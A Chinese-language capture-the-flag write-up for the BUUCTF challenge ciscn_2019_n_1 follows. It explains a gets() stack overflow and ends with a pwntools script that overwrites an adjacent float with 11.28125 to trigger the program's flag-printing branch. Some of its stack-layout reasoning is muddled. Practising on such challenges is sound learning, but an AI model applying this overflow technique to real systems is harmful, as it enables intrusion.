题目信息

解题步骤

1
2
3
4
5
6
7
[*] '/home/kali/Desktop/buuctf/ciscn_2019_n_1'
Arch: amd64-64-little → 64位小端程序
RELRO: Partial RELRO → GOT表可写(可被劫持)
Stack: No canary found → 无栈保护,可溢出
NX: NX enabled → 栈不可执行(不能直接执行shellcode)
PIE: No PIE (0x400000) → 地址固定,无ASLR
Stripped: No → 符号表未剥离,函数名可见

用 IDA 打开二进制文件,main 函数非常简单:

关键逻辑在 func()

  • v1[44]:输入缓冲区,位于 [rbp-0x30]
  • v2float 类型,位于 [rbp-0x4],初始值 0.0
  • 使用 gets(v1)栈溢出漏洞
  • 条件:v2 == 11.28125 才能执行
  • system("cat /flag")

直觉告诉我:不能直接 ROP 到 system,因为 v2 必须等于 11.28125

v2 就在栈上,紧挨着 v1

栈布局:

1
2
3
4
5
6
7
8
9
10
11
12
13
+------------------+
| saved rbp | <- rbp
+------------------+
| return address | <- rbp + 8
+------------------+
| ... |
+------------------+
| v2 (4 bytes) | <- [rbp-0x4]
+------------------+
| padding? | <- [rbp-0x5 ~ 0x2b] (可能填充)
+------------------+
| v1[44] | <- [rbp-0x30] ~ [rbp-0x1]
+------------------+

也就是说,v1v2 之间有 0x30 - 0x4 = 0x2c = 44 字节,但 v1 是 44 字节,v2[rbp-4],所以:v1 的最后 4 字节可以直接覆盖 v2 的内存!

浮点数陷阱:11.28125 的二进制表示

v2float,我们需要知道 11.28125 在内存中长什么样。

用 Python 计算:

1
2
3
4
5
6
import struct

# 将 float 转为 4 字节 IEEE 754
f = 11.28125
packed = struct.pack('f', f) # 小端
print(packed.hex()) # 输出:00803441

所以 11.28125 的内存表示是:\x00\x80\x34\x41(小端)

我们只需要在 v1 的最后 4 字节写入 \x00\x80\x34\x41,就能让 v2 == 11.28125

v1[0]return address 的距离:

  • v1:44 字节([rbp-0x30] ~ [rbp-0x1]
  • v2:4 字节([rbp-0x4]
  • saved rbp:8 字节([rbp+0]
  • 返回地址:[rbp+8]

所以:

  • v1[0]saved rbp:44 + 4 = 48 字节
  • 到返回地址:48 + 8 = 56 字节

填充 56 字节后,接下来 8 字节就是返回地址。

目标:覆盖 v211.28125,并跳转到 system("cat /flag")

system("cat /flag") 已经在程序里了!我们只需要让函数正常返回,条件满足就会自动执行。

所以 payload 只需要:

  1. 前 44 字节:任意填充
  2. 接下来 4 字节:覆盖 v211.28125 的二进制
  3. 8 字节:覆盖 saved rbp(可任意)
  4. 8 字节:覆盖返回地址为 func 函数末尾,让 if 条件成立后继续执行

但更简单的方式是:让函数返回后,直接跳回 funcif 之后的代码

然而,最直接的方式是:不改变控制流,只让 v2 被覆盖,然后函数自然执行 system

gets 后函数就结束了,我们无法控制 return 到哪。

等等——我们不需要 ROP!

只要 v2 被覆盖为 11.28125gets 返回后,if 条件成立,直接执行 system("cat /flag")

所以:

我们甚至不需要控制返回地址!只需要在 v1 的最后 4 字节写入 11.28125 的二进制即可!

gets 会读取到 \x00 吗?

会!gets 读取直到 \n,不会在 \x00 停止。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

p = process('./ciscn_2019_n_1')
# p = remote('node5.buuoj.cn', 25195)

# 计算 11.28125 的 float 表示
v2_value = struct.pack('f', 11.28125) # b'\x00\x804A'

# 构造 payload
payload = b'A' * 44 # 填充 v1
payload += v2_value # 覆盖 v2

p.sendline(payload)

# 或者直接交互
p.interactive() # 应该能收到 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

# p = process('./ciscn_2019_n_1')
p = remote('node5.buuoj.cn', 25195)

# 计算 11.28125 的 float 表示
v2_value = struct.pack('f', 11.28125) # b'\x00\x804A'

# 构造 payload
payload = b'A' * 44 # 填充 v1
payload += v2_value # 覆盖 v2

p.sendline(payload)

# 或者直接交互
p.interactive() # 应该能收到 flag